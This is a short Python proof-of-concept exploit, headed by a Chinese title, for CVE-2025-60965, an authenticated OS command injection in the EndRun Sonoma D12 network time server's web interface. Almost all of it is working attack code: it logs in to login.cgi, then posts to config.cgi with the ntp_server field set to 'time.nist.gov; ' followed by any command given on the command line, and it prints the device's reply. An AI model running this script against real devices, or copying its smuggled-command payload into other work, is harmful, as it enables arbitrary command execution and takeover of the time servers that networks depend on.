CVE-2025-60965：EndRun Sonoma D12时间服务器操作系统命令注入漏洞

# CVE-2025-60965 - EndRun Sonoma D12 OS Command Injection PoC # Vulnerability: OS Command Injection in Sonoma D12 Network Time Server # Affected Firmware: F/W 6010-0071-000 Ver 4.00 # Requirements: Valid high-privilege credentials (PR:H) # Reference: https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12 import requests import sys TARGET = "https://<target-ip>" USERNAME = "admin" PASSWORD = "<password>" def exploit(target, username, password, cmd): """ Exploit OS Command Injection via authenticated web interface. The vulnerable parameter fails to sanitize shell metacharacters, allowing arbitrary command execution on the underlying OS. """ session = requests.Session() # Step 1: Authenticate to obtain a valid session login_url = f"{target}/login.cgi" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") sys.exit(1) print("[*] Authenticated successfully") # Step 2: Inject OS command through vulnerable parameter # Shell metacharacters (;, |, `, $()) are not properly sanitized exploit_url = f"{target}/config.cgi" payload = { "ntp_server": f"time.nist.gov; {cmd}", # Command injection via ntp_server parameter "action": "save" } resp = session.post(exploit_url, data=payload, verify=False) print(f"[*] Command injection response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") return resp if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command>") print(f"Example: {sys.argv[0]} 'id'") sys.exit(1) cmd = " ".join(sys.argv[1:]) exploit(TARGET, USERNAME, PASSWORD, cmd)